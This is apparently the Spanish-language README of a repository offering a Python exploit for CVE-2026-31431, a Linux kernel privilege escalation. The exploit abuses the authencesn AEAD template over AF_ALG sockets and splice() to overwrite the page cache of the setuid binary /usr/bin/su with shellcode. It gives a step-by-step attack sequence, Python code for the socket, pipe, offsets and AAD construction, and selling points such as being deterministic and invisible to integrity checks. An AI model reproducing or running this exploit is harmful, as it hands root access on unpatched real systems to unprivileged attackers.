
Exploit en Python para CVE-2026-31431, una escalada de privilegios en el kernel de Linux mediante la corrupción de la caché de páginas de binarios setuid, logrando acceso root.
Copy Fail (CVE-2026-31431) es un error lógico crítico en el subsistema criptográfico del kernel de Linux que permite a usuarios sin privilegios lograr una escalada de privilegios a root. La vulnerabilidad afecta a los kernels de Linux 6.0.0 hasta 6.18.x en todas las principales distribuciones.
Este repositorio contiene el exploit real que desencadena la vulnerabilidad corrompiendo la caché de páginas de binarios setuid y ejecutando código arbitrario con privilegios de root.
Copy Fail es un error lógico que permite a usuarios sin privilegios escribir fragmentos arbitrarios de 4 bytes directamente en la caché de páginas del kernel de cualquier archivo legible del sistema, incluidos los binarios setuid.
Características clave:
La vulnerabilidad proviene de una optimización de 2017 en algif_aead.c (commit 72548b093ee3) que cambió las operaciones AEAD de fuera de lugar a en el lugar:
Antes (seguro - 2015):
Scatterlist TX (entrada) ← Buffer TX (datos del usuario del archivo)
Scatterlist RX (salida) ← Buffer RX (área de salida del usuario)
Scatterlists separados = las páginas de la caché de páginas son de solo lectura
Después (vulnerable - 2017):
Scatterlist combinado:
[ Buffer RX ] [ Páginas de caché de páginas encadenadas vía sg_chain() ]
↑ ↑
req->src = src req->dst = dst (MISMO scatterlist)
¡Las páginas de la caché de páginas ahora están en un scatterlist ESCRIBIBLE!
El scatterlist combinado se ve así:
[AAD + Texto cifrado del buffer RX] || [Tag de la caché de páginas de /usr/bin/su]
↑
Límite
(authencesn escribe MÁS ALLÁ de este punto)
El algoritmo authencesn es un envoltorio AEAD utilizado por IPsec para Números de Secuencia Extendidos (ESN). Realiza el cálculo HMAC pero necesita reorganizar bytes dentro del AAD (Datos Autenticados Asociados).
En el código del kernel (crypto/authenc.c), durante el descifrado:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // leer bytes AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporal: sobrescribir dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← LÍNEA CLAVE
// escribir 4 bytes en dst[assoclen+cryptlen]
El problema: La tercera escritura ocurre en el desplazamiento assoclen + cryptlen. En la ruta vulnerable en el lugar:
El kernel trata esta posición como "espacio temporal desechable" y escribe el valor allí permanentemente. Los bytes originales en esta posición en la caché de páginas se pierden para siempre.
1. El atacante abre un socket AF_ALG → se vincula a authencesn(hmac(sha256),cbc(aes))
(No se necesitan privilegios; AF_ALG está disponible para usuarios sin privilegios por defecto)
2. El atacante abre el archivo objetivo: /usr/bin/su (binario setuid-root)
3. El atacante usa splice() para entregar las páginas de caché de páginas de /usr/bin/su
en el socket AF_ALG como "texto cifrado" y "tag"
4. El atacante envía sendmsg() con AAD que contiene:
- Bytes 0-3: relleno
- Bytes 4-7: seqno_lo = valor de 4 bytes a escribir (controlado por el atacante)
- Bytes 8+: relleno
5. El atacante llama a recvmsg() que desencadena la operación de descifrado AEAD
Dentro del descifrado de authencesn en el espacio del kernel:
a) El kernel lee los bytes AAD 0-7
b) El kernel escribe seqno_hi en dst[4..7] (temporal, luego se restaura)
c) El kernel escribe seqno_lo en dst[assoclen + cryptlen]
↓
ESTA ESCRITURA CRUZA DEL BUFFER DEL USUARIO A LAS PÁGINAS DE CACHÉ DE PÁGINAS
↓
La escritura de 4 bytes en la caché de páginas de /usr/bin/su ocurre AQUÍ
d) El kernel calcula HMAC (falla la validación - el texto cifrado es fabricado)
e) recvmsg() devuelve un error
PERO: La escritura de 4 bytes YA PERSISTE en la caché de páginas
6. El atacante repite los pasos 2-5 para cada fragmento de 4 bytes del shellcode
7. El atacante ejecuta /usr/bin/su
- El kernel carga el binario desde la CACHÉ DE PÁGINAS (que ahora contiene shellcode)
- El binario es setuid-root
- El shellcode se ejecuta con UID=0
- El atacante tiene acceso root
| Aspecto | Explicación |
|---|---|
| Sin fallos | La operación se completa desde la perspectiva del kernel |
| Determinista | Sin condiciones de carrera; síncrono y confiable |
| Persistente | La corrupción de la caché de páginas sobrevive incluso después del error de recvmsg() |
| Invisible | El archivo en disco no se toca; las herramientas estándar de integridad no detectan nada |
| Universal | El mismo código funciona en todas las distribuciones; no se necesitan desplazamientos específicos por distribución |
| Portátil | Funciona en arquitecturas x86-64 y ARM64 |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Socket de solicitud para operaciones AEAD
Cree un socket AF_ALG vinculado a la plantilla AEAD authencesn.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Abra el binario setuid que se corromperá. Cualquier archivo legible funciona, pero los binarios setuid se eligen para la escalada de privilegios.
pipe_rd, pipe_wr = os.pipe()
Cree una tubería que actuará como intermediario para las operaciones de splice(). Los buffers de la tubería contendrán referencias a las páginas de caché de páginas.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Use splice() para transferir cryptlen bytes de /usr/bin/su comenzando en write_offset a la tubería.
Por qué esto importa: splice() transfiere datos entre descriptores de archivo sin copiar. Pasa referencias directas a las páginas de caché de páginas del kernel. Estas páginas permanecen en la estructura de buffer interna de la tubería.
assoclen = 8 # Longitud AAD: bytes 0-7
cryptlen = 32 # Longitud del texto cifrado (== salida HMAC-SHA256)
authsize = 32 # Longitud del tag
write_offset = 0x2000 # Desplazamiento en /usr/bin/su para escribir
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
El AAD (Datos Autenticados Asociados) contiene:
El algoritmo authencesn usará los bytes 4-7 de este AAD en su escritura temporal.